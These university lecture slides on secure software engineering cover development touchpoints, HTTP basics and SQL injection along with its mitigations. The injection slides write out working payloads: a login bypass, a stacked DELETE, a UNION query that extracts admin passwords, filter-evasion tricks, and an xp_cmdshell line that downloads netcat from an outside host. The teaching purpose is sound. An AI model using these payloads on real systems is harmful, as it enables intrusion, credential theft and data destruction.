Secure Software Engineering
James WaldenNorthern Kentucky University
CSC 666: Secure Software Engineering
Course Information
PrerequisitesCSC 540, CSC 582
Web Sitehttp://faculty.cs.nku.edu/~waldenj/classes/2012/fall/csc666/
TextbooksSoftware Security, Gary McGraw, Addison-Wesley,
2006.Secure Programming with Static Analysis, Brian
Chess and Jacob West, Addison-Wesley, 2007.
CSC 666: Secure Software Engineering
Assignment PolicyAvailable on web page.
Your responsibility to check for announcements.
Types of assignmentsIndividual programming/assessment assignments.Group programming/assessment assignments.
Late policy20% penalty up to one week late0 points given after one week late
CSC 666: Secure Software Engineering
Topics
1. The Software Security Problem2. Processes and Touchpoints3. Web Application Vulnerabilities4. An Example Bug: SQL Injection
CSC 666: Secure Software Engineering
Traditional Security is Reactive Perimeter defense
(firewalls) Intrusion detection Over-reliance on
cryptography Penetrate and
patch Penetration testing
CSC 666: Secure Software Engineering
The Problem is Software
“75% of hacks happen at the application.” - Theresa Lanowitz, Gartner Inc.
“92% of reported vulnerabilities are in apps, not networks.”
- NIST“64% of developers are not confident in their
ability to write secure code.”- Bill Gates
CSC 666: Secure Software Engineering
1990s-2006: A Growing Problem
1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 20060
1000
2000
3000
4000
5000
6000
7000
8000
9000
Software Vulnerabilities
Year
Vul
nera
bilit
ies
2006-2011: Progress or Not?
CSC 666: Secure Software Engineering
CSC 666: Secure Software Engineering
Motivations
CSC 666: Secure Software Engineering
Trinity of Trouble
Connectivity Ubquitious Internet; wireless & mobile
computing.Complexity
Networked, distributed code that can interact with intermediate caches, ad proxies, etc.
Extensibility Systems evolve in unexpected ways, e.g. web
browsers, which support many formats, add-ons, plugins, programming languages, etc.
CSC 666: Secure Software Engineering
SSE Objectives
1. Dependability: software functions only as intended;
2. Trustworthiness: No exploitable vulnerabilities or malicious logic exist in the software;
3. Resilience: If compromised, damage will be minimized, and it will recover quickly to an acceptable level of operating capacity;
4. Conformance: to requirements and applicable standards and procedures.
CSC 666: Secure Software Engineering
Security Standards and Certs
ISO 15408 Common Criteria PCI Data Security Standard
Requirement 6: Develop and maintain secure systems and applications
SANS GIAC Secure Software Programmer http://www.sans-ssi.org/
Many standards indirectly impact SSE FISMA SOX
CSC 666: Secure Software Engineering
Secure Development Processes
CLASP (Comprehensive, Lightweight Application Security Process)
Correctness-by-Construction (formal methods based process from Praxis Critical Systems)
MS SDL (Microsoft Secure Development Lifecycle)
SSE CMM (Secure Software Engineering Capability Maturity Model)
TSP-Secure (Team Software Process for Secure Software Development)
Touchpoints
CSC 666: Secure Software Engineering
Software Security Practices
1. Code Reviews2. Risk Analysis3. Penetration
Testing
SecurityOperations
Requirements Design Coding Testing Maintenance
RiskAnalysis
AbuseCases
Code Reviews +Static Analysis
PenetrationTesting
SecurityTesting
4. Security Testing5. Abuse Cases6. Security
Operations
CSC 666: Secure Software Engineering
Code Reviews
Fix implementation bugs, not design flaws.Benefits of code reviews
1. Find defects sooner in the lifecycle.2. Find defects with less effort than testing.3. Find different defects than testing.4. Educate developers about security flaws.
CSC 666: Secure Software Engineering
Architectural Risk Analysis
Fix design flaws, not implementation bugs.Risk analysis steps
1. Develop an architecture model.2. Identify threats and possible vulnerabilities.3. Develop attack scenarios.4. Rank risks based on probability and impact.5. Develop mitigation strategy.6. Report findings
CSC 666: Secure Software Engineering
Penetration TestingTest software in deployed environment.Allocate time at end of development to test.
• Often time-boxed: test for n days.• Schedule slips often reduce testing time.• Fixing flaws is expensive late in lifecycle.
Penetration testing tools• Test common vulnerability types against
inputs.• Fuzzing: send random data to inputs.• Don’t understand application structure or
purpose.
CSC 666: Secure Software Engineering
Security Testing
IntendendedFunctionality
ActualFunctionality
Functional testing will find missing functionality.
Injection flaws, buffer overflows, XSS, etc.
CSC 666: Secure Software Engineering
Security Testing
Two types of testingFunctional: verify security mechanisms.Adversarial: verify resistance to attacks
generated during risk analysis.Different from traditional penetration testing
• White box.• Use risk analysis to build tests.• Measure security against risk model.
CSC 666: Secure Software Engineering
Abuse Cases
Anti-requirementsThink about what software should not do.
A use case from an adversary’s point of view.• Obtain Another User’s CC Data.• Alter Item Price.• Deny Service to Application.
Developing abuse casesInformed brainstorming: attack patterns, risks.
CSC 666: Secure Software Engineering
Security Operations
User security notes• Software should be secure by default.• Enabling certain features may have risks.• User needs to be informed of security risks.
Incident response• What happens when a vulnerability is
reported?• How do you communicate with users?• How do you send updates to users?
CSC 666: Secure Software Engineering
Web Application Vulnerabilities
Input-based Security Problems Injection Flaws Insecure Remote File Inclusion Unvalidated Input
Authentication and Authorization Authentication Access Control Cross-Site Scripting
Other Bugs Error Handling and Information Leakage Insecure Storage Insecure Communications
CSC 666: Secure Software Engineering
HTTP: HyperText Transfer Protocol
Simple request/response protocol Request methods: GET, POST, HEAD, etc. Stateless: req#2 doesn’t know about req#1
HTTPS HTTP wrapped in SSL/TLS encryption Protects data in transit to web server. Doesn’t protect stored data. Doesn’t protect server from being hacked.
CSC 666: Secure Software Engineering
HTTP Request
GET http://www.google.com/ HTTP/1.1Host: www.google.comUser-Agent: Mozilla/5.0 (Windows NT 5.1) Gecko/20060909 Firefox/1.5.0.7
Accept: text/html, image/png, */*Accept-Language: en-us,en;q=0.5Cookie: rememberme=true; PREF=ID=21039ab4bbc49153:FF=4
Method URL Protocol Version
Headers
Blank LineNo Data for GET
CSC 666: Secure Software Engineering
HTTP Response
HTTP/1.1 200 OKCache-Control: privateContent-Type: text/htmlServer: GWS/2.1Date: Fri, 13 Oct 2006 03:16:30 GMT
<HTML> ... (page data) ... </HTML>
Protocol Version HTTP Response Code
Headers
BlankLine
Web Page Data
CSC 666: Secure Software Engineering
HTTP GET Parameters
http://ex.com/path/app.cgi?param1=val1¶m2=val2
Format parameter_name=value Multiple parameters separated by &
URI encoding Encode chars as ISO-Latin hex val: %XY Special characters must be encoded. Any character may be encoded.
CSC 666: Secure Software Engineering
HTTP POST Parameters
POST /path/app.cgi HTTP/1.0
Content-Type: application/x-www-form-urlencoded Content-Length: 32
param1=value1¶m2=value2
Format parameter_name=value Multiple parameters separated by &
URI encoding
CSC 666: Secure Software Engineering
Cookies
HTTP/1.1 200 OK
Content-Type: text/htmlSet-Cookie: Name=Value; path=/; expires=01-Jan-2038 23:59:59UCT
Cookie Format Only sent to URLs that match path, domain. Sent only via SSL if secure specified. Expires on date or when browser closed.
GET /path/app.cgi HTTP/1.1Host: ex.comCookie: Name=Value
CSC 666: Secure Software Engineering
An Example Bug: Injection
Injection attacks trick an application into including unintended commands in the data send to an interpreter.
Interpreters Interpret strings as commands. Ex: SQL, shell (cmd.exe, bash), LDAP, XPath
Key Idea Input data from the application is executed as
code by the interpreter.
CSC 666: Secure Software Engineering
SQL Injection
1. App sends form to user.2. Attacker submits form
with SQL exploit data.3. Application builds string
with exploit data.4. Application sends SQL
query to DB.5. DB executes query,
including exploit, sends data back to application.
6. Application returns data to user.
Attacker
Web Server DB Server
Firewall
User
Pass
‘ or 1=1--
CSC 666: Secure Software Engineering
SQL Injection in PHP
$link = mysql_connect($DB_HOST, $DB_USERNAME, $DB_PASSWORD) or die ("Couldn't connect: " . mysql_error());
mysql_select_db($DB_DATABASE);$query = "select count(*) from users where username =
'$username' and password = '$password'";$result = mysql_query($query);
CSC 666: Secure Software Engineering
SQL Injection Attack #1
Unauthorized Access Attempt:password = ’ or 1=1 --
SQL statement becomes:select count(*) from users where username =
‘user’ and password = ‘’ or 1=1 --Checks if password is empty OR 1=1, which is
always true, permitting access.
CSC 666: Secure Software Engineering
SQL Injection Attack #2
Database Modification Attack:password = foo’; delete from table users where
username like ‘%
DB executes two SQL statements:select count(*) from users where username = ‘user’
and password = ‘foo’delete from table users where username like ‘%’
CSC 666: Secure Software Engineering
Finding SQL Injection Bugs
1. Submit a single quote as input. If an error results, app is vulnerable. If no error, check for any output changes.
2. Submit two single quotes. Databases use ’’ to represent literal ’ If error disappears, app is vulnerable.
3. Try string or numeric operators. Oracle: ’||’FOO MS-SQL: ‘+’FOO MySQL: ’ ’FOO
2-2 81+19 49-ASCII(1)
CSC 666: Secure Software Engineering
2008 Mass SQL Injection Attacks
Estimated 1.5 million pages compromised. Methodology
Identify vulnerable web applications. Use xp_cmdshell on MS SQL to download
tools to compromised MS SQL server. Use fgdump to obtain Windows credentials. Install backdoors that periodically contact their
command & control servers. Search for credit cards or brute force
passwords.
CSC 666: Secure Software Engineering
Real Estate Site Hacking
www.website.com/fullnews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4,5/**/FROM/**/admin/*
Exploit against http://phprealestatescript.com/
CSC 666: Secure Software Engineering
The Problem: String BuildingBuilding a SQL command string with user input in any language is dangerous.
• Variable interpolation.• String concatenation with variables.• String format functions like sprintf().• String templating with variable replacement.
CSC 666: Secure Software Engineering
Mitigating SQL Injection
Partially Effective MitigationsBlacklistsStored Procedures
Effective MitigationsWhitelistsPrepared Queries
CSC 666: Secure Software Engineering
Ineffective Mitigation: Blacklist
Filter out known bad SQL metacharacters,such as single quotes.Problems:
1. Numeric parameters don’t use quotes.2. URL escaped metacharacters.3. Unicode encoded metacharacters.4. Did you miss any metacharacters?
CSC 666: Secure Software Engineering
Bypassing Blacklist FiltersDifferent case
SeLecT instead of SELECT or selectBypass keyword removal filters
SELSELECTECTURL-encoding
%53%45%4C%45%43%54SQL comments
SELECT/*foo*/num/*foo*/FROM/**/ccSEL/*foo*/ECT
String Building‘us’||’er’chr(117)||chr(115)||chr(101)||chr(114)
CSC 666: Secure Software Engineering
Ineffective Mitigation: Stored Procedures
SQL Stored Procedures build strings too:CREATE PROCEDURE dbo.doQuery(@id nchar(128)AS DECLARE @query nchar(256) SELECT @query = ‘SELECT cc FROM cust WHERE id=‘’’ + @id + ‘’’’ EXEC @queryRETURN
and they can be invoked insecurely with user input:
exec sp_login ‘user’ ‘foo’; master..xp_cmdshell ‘tftp e.com GET nc.exe’#
CSC 666: Secure Software Engineering
Mitigation: Whitelist
Reject input that doesn’t match your list of safe characters to accept. Identify what’s good, not what’s bad. Reject input instead of attempting to
repair. Still have to deal with single quotes
when required, such as in names.
CSC 666: Secure Software Engineering
Mitigation: Prepared Queries
require_once 'MDB2.php';
$mdb2 =& MDB2::factory($dsn, $options); if (PEAR::isError($mdb2)) {
die($mdb2->getMessage()); } $sql = “SELECT count(*) from users where username = ? and
password = ?”;$types = array('text', 'text'); $sth = $mdb2->prepare($sql, $types, MDB2_PREPARE_MANIP); $data = array($username, $password); $sth->execute($data);
CSC 666: Secure Software Engineering
Key Points The Problem of Software Security SSE Goals
Dependability Trustworthiness Resilience Conformance
Touchpoints Code Reviews Risk Analysis Penetration Testing Security Testing Abuse Cases Security Operations
CSC 666: Secure Software Engineering
References1. Brian Chess and Jacob West, Secure Programming with Static
Analysis, Addison-Wesley, 2007.2. CLASP, OWASP CLASP Project,
http://www.owasp.org/index.php/Category:OWASP_CLASP_Project, 2008.
3. Noopur Davis et. al., Processes for Producing Secure Software. IEEE Security & Privacy, May 2004.
4. Karen Goertzel, Theodore Winograd, et al. for Department of Homeland Security and Department of Defense Data and Analysis Center for Software. Enhancing the Development Life Cycle to Produce Secure Software: A Reference Guidebook on Software Assurance, October 2008.
5. Michael Howard and Steve Lipner, The Security Development Lifecycle, Microsoft Press, 2006.
6. Michael Howard, “SAFECode: Fundamental Processes for Secure Software Development,” http://www.safecode.org/publications/SAFECode_Dev_Practices1008.pdf, October 2008.
7. Gary McGraw, Software Security, Addison-Wesley, 2006.